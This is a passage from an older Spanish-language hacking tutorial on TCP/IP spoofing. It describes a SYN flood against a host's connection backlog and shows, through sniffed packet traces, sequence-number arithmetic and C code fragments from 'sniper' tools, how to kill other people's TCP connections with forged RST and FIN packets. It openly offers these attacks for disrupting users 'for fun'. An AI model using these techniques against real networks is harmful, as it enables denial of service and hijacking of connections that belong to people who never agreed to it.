host???

host S <-----------------/


Concepto:
El host S se hace pasar por SYN(connection init) viniendo del host A, hacia el host B.
El host A deberia ser inalcanzable (unreachable)(ej. apagado, inexistente,...).
B manda el segundo packet de los 3 way TCP handshake. Host B esperara ahora respuesta de el host A.
Si host A es alcanzable (reachable)este le dira al host B (con un reset: RST) que el NO INICIO una conexion, y por lo tanto que el host B recibio un packet disfrazado. (En este caso host B ignorara el SYN, y *normalmente* nada pasara)
Entonces si A es unreachable, B esperara respuesta un momento)
Cuando se hacen ataques multiples, el backlog del host B estara siendo excedido y host B no aceptara nuevas conexiones (lee los TCP bugs para caracteristicas adicionales ;) por algun tiempo.

4.3 Killing conexion
--------------------

Configuracion:

host A <------X------------------------->host B
| A,B tiene una conexion TCP corriendo
host S <------/ A,S en la misma subred

(la configuracion es la misma en ambos casos)

Uso:
Elimina embrollosos de tu red, fastidiando a ese dude que teclea un papel importante, etc... diversion pura.

4.3.1 Usando el reset (RST)
---------------------------

Concepto:
Los packets TCP tienen banderas (flags) que indican el estado de el paquete, como RST.
Esta es un a bandera usada para resetear una conexion. Para ser aceptado, solo el numero de secuencia debe ser correcto (no hay ACK en un packet RST).
Entonces vamos a esperar packets en una conexion entre A y B.
Suponga que esperamos packets de A. Calcularemos (de los packets de B)
el numero de secuencia para los packets de A (de los ACK de B), y lanzamos un packet RST falso desde S (fingiendo ser A) hacia B.

un ataque real:
(Estos son packets sniffeados reales, aunque los numeros IP de host esten cambiados)
host A: 166.66.66.1
host B: 111.11.11.11
(S en la misma subred de A)

(Este es un buen ejemplo de como las cosas no siempre son como uno quisiera, ver abajo la solucion)
1) connection running...
esperamos un packet para obtener el SEQ/ACK corriente (A->B)

TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1810-111.11.11.11.23
SEQ (hex): 57E1F2A6 ACK (hex): B8BD7679
FLAGS: -AP--- Window: 3400
(datos irrelevantes removidos, 2 bytes data)

2) Este es el ACK de este + datos incluidos (lo cual provoca que el numero SEQ cambie, y hechando a perder nuestro plan, por que este llega muy rapido.)
(B->A)

TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1810
SEQ (hex): B8BD7679 ACK (hex): 57E1F2A8
FLAGS: -AP--- Window: 2238
(datos irrelevantes removidos, 2 bytes data)

3) ACK de este. (A->B)

TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1810-111.11.11.11.23
SEQ (hex): 57E1F2A8 ACK (hex): B8BD767B
FLAGS: -A---- Window: 3400
(datos removidos por irrelevantes)

4) datos adelantados (B->A)

TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1810
SEQ (hex): B8BD767B ACK (hex): 57E1F2A8
FLAGS: -AP--- Window: 2238
(datos removidos por irrelevantes)

5) ACK de este (A->B)

TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1810-111.11.11.11.23
SEQ (hex): 57E1F2A8 ACK (hex): B8BD7691
FLAGS: -A---- Window: 3400

6) Ahora tenemos 2 packets RST. COmo puedes explicar eso? Bueno, el primer packet reset
ha sido almacenada en un buffer en alguna parte de nuestro sistema, porque el segmento de ethernet estaba ocupado cuando queriamos mandarlo. Esto es lo 'inesperado' que discutia anteriormente, aqui somos afortunados, el flujo de datos se enfrio tan rapido.
Cuando este no se enfria tan rapido, podriamos perder nuestro RST (o la conexion sera matada
un poco despues de cuando queriamos), veras algunas ideas de como arreglar el problema.

TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1810
SEQ (hex): B8BD7679 FLAGS: ---R--


TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1810
SEQ (hex): B8BD7691 FLAGS: ---R--
(Este era el packet que mato la conexion)

Discusion de el programa:

La discusion aqui es un poco extraña, esto es porque 'sniper-rst.c' no esta diseñado para ser un killer optimo, es meramente un ejemplo.
Aqui tenemos el problema de la velocidad. Perdemos algunos packets que causan esos re-envios.
Entonces deberiamos diseñar un mejor 'sniper' si hacemos lo siguiente:
- usar blocking IO (no necesariamente, porque el RST killer podria perder algo de su belleza (looping), este es manejado con y en el ejemplo del
FIN killer. Bloquear es un poco mas rapido cuando muchos packets vienen uno detras de otro.)
- disparos multiples de packets... lanzar mas packets con SEQ incrementado.
(esto es comentado en el codigo fuente)
- espera por un packet ACK puro (sin datos), porque de otra forma se arriesga mucho a que darse a la mitad de la transmision y no ser suficientemente rapido.
(la desventaja es el 'periodo de espera' antes de que la conexion sea
matada)

NOTA estos ejemplos fueron hechos en redes no-cargadas, con servidores no-cargados, lo que hace que sea un peor escenario para problemas de velocidad.

4.3.2 Cerrando una conexion (FIN)
---------------------------------

Concepto:
otra de las banderas es FIN y dice asi: "no more data from sender".(no hay mas datos del emisor). Esta bandera es usada cuando se cierra una conexion de forma legitima. entonces si existe alguna forma de hacer un packet que sea aceptado por uno de los dos hosts, este host creeria que el 'emisor' no le quedan mas datos.
Los siguientes packets (reales) serian ignorados puesto que serian considerados falsos.
Eso es todo,como podemos sniffear el SEQ/ACK actual de la conexion, podemos pretender ser el host A o el B, y proveer al otro host con la informacion de packet CORRECTO, y una malvada bandera de FIN.
La belleza de todo esto es, que despues de un FIN es mandado al otro host siempre con uno si este es aceptado, entonces tenemos una forma de verificar nuestro killing , y se puede estar 100% seguro del exito (si por alguna razon perdemos un SEQ o ACK, podemos simplemente re-mandarlo).
El killing con RST es mas popular y es preferido, pero he puesto este como un ejemplo, y personalmente este me gusta mas.

Un ataque real
(Estos son packets sniffeados realmente, aunque los numeros IP de los hosts fueron cambiados)
host A : 166.66.66.1
host B : 111.11.11.11
(S en la misma subred que A)

1) connection is running....
sniper es iniciado en el host S como un 'sniper-fin 166.66.66.1 23 111.11.11.11 1072'
y espera un packet para entrar en accion(nesecitamos obtener el SEQ/ACK)
(ten en cuenta que cambiar A por B es lo mismo, solo S estara
fingiendo ser A en lugar de B)
repentinamente un packet llega... (A->B)

TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072
SEQ (hex): 19C6B98B ACK (hex): 69C5473E
FLAGS: -AP--- Window: 3400
Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072
45 E 00 . 00 . 2A * 30 0 5E ^ 40 @ 00 . 40 @ 06 . 5E ^ AD . 9D . C1 . 45 E 33 3
9D . C1 . 2B + 0D . 00 . 17 . 04 . 30 0 19 . C6 . B9 . 8B . 69 i C5 . 47 G 3E >
50 P 18 . 34 4 00 . 3A : 61 a 00 . 00 . 0D . 0A .
~~~~~~~~~ > 2 data bytes

2) sniper lo ha detectado, y manda un packet falso. (S como B -> A)
calculamos nuestro SEQ como: ACK del packet (A->B)
calculamos nuestro ACK como: SEQ del packet (A->B)+ longitud de los datos del packet
(19C6B98B + 2 = 19C6B98D)
(entonces le decimos a A, que recibimos el ultimo packet, y este no transmitira
mas datos)

TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.1072-166.66.66.1.23
SEQ (hex): 69C5473E ACK (hex): 19C6B98D
FLAGS: -A---F Window: 7C00
(datos removidos por irrelevantes)

3) el host A ahora dice: 'bien, terminas la sesion, entonces aqui esta mis ultimos datos'
(A->B)

TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072
SEQ (hex): 19C6B98D ACK (hex): 69C5473E
FLAGS: -AP--- Window: 3400
(datos removidos por irrelevantes)

TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072
SEQ (hex): 19C6B998 ACK (hex): 69C5473F
FLAGS: -A---- Window: 3400
(datos removidos por irrelevantes)

4) host A ahora a flusheado (vaciado) su buffer y en su turno hace el FIN a la conexion.
(A->B)
sniper, intercepta este packet y ahora sabe que el host cayo en la trampa del spoof y que el killing fue un exito!
(host A ya no aceptara mas datos )

TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072
SEQ (hex): 19C6B998 ACK (hex): 69C5473F
FLAGS: -A---F Window: 3400
(datos removidos por irrelevantes)

5) fingimos ser B, haciendo que A creyera que no teniamos mas datos. Pero B no lo sabe y continua mandando packets.
(B->A)
el host A tiene esa conexion cerrada, y por lo tanto piensa que los packets reales de B estan spoofeados (o al menos falsos)! entonces el host A manda algunos packets reset
(RST).

TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.1072-166.66.66.1.23
SEQ (hex): 69C5473E ACK (hex): 19C6B98D
FLAGS: -A---- Window: 3750
(datos removidos por irrelevantes)


TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072
SEQ (hex): 19C6B98D FLAGS: ---R--
(datos removidos por irrelevantes)

6) Esto continua todavia con algunos packets.

Discusion del programa (los numeros corresponden con aquellos de 'Un ataque
real'):

1) stat=wait_packet(fd_receive,&pinfo,SOURCE,SOURCE_P,DEST,DEST_P,ACK,10);
if(stat==-1) {printf("Connection 10 secs idle... timeout.\n");exit(1);}

2) sp_seq=pinfo.ack;
sp_ack=pinfo.seq+pinfo.datalen;
transmit_TCP (fd_send, NULL,0,0,0,DEST,DEST_P,SOURCE,SOURCE_P,
sp_seq,sp_ack,ACK|FIN);
3) N/A

4) stat=wait_packet(fd_receive,&pinfo,SOURCE,SOURCE_P,DEST,DEST_P,FIN,5);
if(stat>=0)
{printf("Killed the connection...\n");
exit(0);}